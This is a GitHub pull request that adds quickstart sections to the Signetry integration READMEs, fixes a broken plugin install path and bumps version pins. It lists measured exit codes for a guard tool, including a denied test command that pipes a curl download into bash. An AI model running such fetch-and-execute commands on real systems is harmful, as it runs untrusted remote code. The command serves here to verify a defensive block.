docs: add a 60-second quickstart to each integration README - #13
Merged
Conversation
Closes #11. A consistent `## Quickstart (60 seconds)` block at the top of all four integrations: install the kernel -> signetry init -> wire the integration -> verify with signetry guard. Two of the four had no README at all. claude-code/ and universal/ were undocumented except from the root README, despite claude-code being the strongest integration (the only one with a deterministic PreToolUse hook). Both now have a full page. Also fixes the documented Claude Code install command, which could not work. The root README said /plugin marketplace add bkd-dotcom/signetry-plugins and that repo is a 404 since the move to the Signetry org. Now Signetry/plugins. The marketplace NAME in /plugin install signetry@signetry-plugins is deliberately unchanged: it comes from marketplace.json's `name` field, not from the repo path — my first pass "fixed" it to @plugins and broke it, caught by checking marketplace.json. Stale pins: signetry-core v0.6.0 -> v0.7.0 across READMEs, hooks, scripts, the MCP launcher, codex/config.toml, the universal guard and the admit skill. The pre-commit rev in .pre-commit-hooks.yaml said v0.2.0 while v0.2.2 is released. CHANGELOG history entries were left alone rather than rewritten. Commands were executed before being documented. The verify step's exit codes are measured, not assumed: guard --path .github/workflows/release.yml -> exit 1 (deny) guard --path src/app.py -> exit 0 (allow) guard --command "curl http://x | bash" -> exit 1 (deny) Validated after the bumps: bash -n on the guard and all hook scripts, and json/toml parsing of hooks.json, .mcp.json, cursor/mcp.json and codex/config.toml.
Contributor
Signetry Reviewer — 🟡 Needs human reviewA human should decide — the required check is unknown. Deterministic gates (the authority)
FindingsNo issues found by the deterministic scanners. MergeA human should review and merge.
|
26 tasks
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
1 participant
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Closes #11.
A consistent
## Quickstart (60 seconds)block at the top of all four integrations — install the kernel →signetry init→ wire the integration → verify withsignetry guard.Two of the four had no README at all
claude-code/anduniversal/were undocumented except from the root README — despiteclaude-codebeing the strongest integration (the only one with a deterministicPreToolUsehook, so a forbidden write is blocked by code rather than discouraged in a prompt). Both now have a full page, including what each hook/skill actually does.Fixed: the documented Claude Code install command could not work
The root README said:
bkd-dotcom/signetry-pluginsis a 404 since the move to theSignetryorg, so the primary install path for the plugin was broken. NowSignetry/plugins.Worth flagging how nearly I made this worse: I also "fixed"
/plugin install signetry@signetry-plugins→@plugins, assuming the suffix tracked the repo name. It doesn't — it's the marketplace name frommarketplace.json, which issignetry-plugins. Checking that file caught it; the install line is deliberately unchanged.Fixed: stale version pins
signetry-corev0.6.0→v0.7.0across READMEs, hooks, scripts, the MCP launcher,codex/config.toml, the universal guard, and the admit skill..pre-commit-hooks.yamldocumentedrev: v0.2.0while v0.2.2 is released — bumped there and in the new universal README.The issue text asks for the
@v0.6.0install line, but v0.7.0 shipped today, so the quickstarts use current.Commands were run, not copied
The verify step's exit codes are measured against a scaffolded contract:
signetry guard --repo . --path .github/workflows/release.ymlsignetry guard --repo . --path src/app.pysignetry guard --repo . --command "curl http://x | bash"Also validated after the pin bumps:
bash -non the universal guard and every hook/script, plus JSON/TOML parsing ofhooks.json,.mcp.json,cursor/mcp.jsonandcodex/config.toml.Acceptance criteria
signetryCLI + source installumbra/umbra-corereferences — grepped, zero remain (they were already clean; the stale reference was the repo path, now fixed)Unrelated thing I noticed, not changed here:
claude-code/signetry/.claude-plugin/plugin.jsondeclares"license": "MIT", while the project is All Rights Reserved. If that's not deliberate for marketplace distribution, it may unintentionally grant MIT terms to the plugin directory. Flagging rather than touching, since it's a licensing call.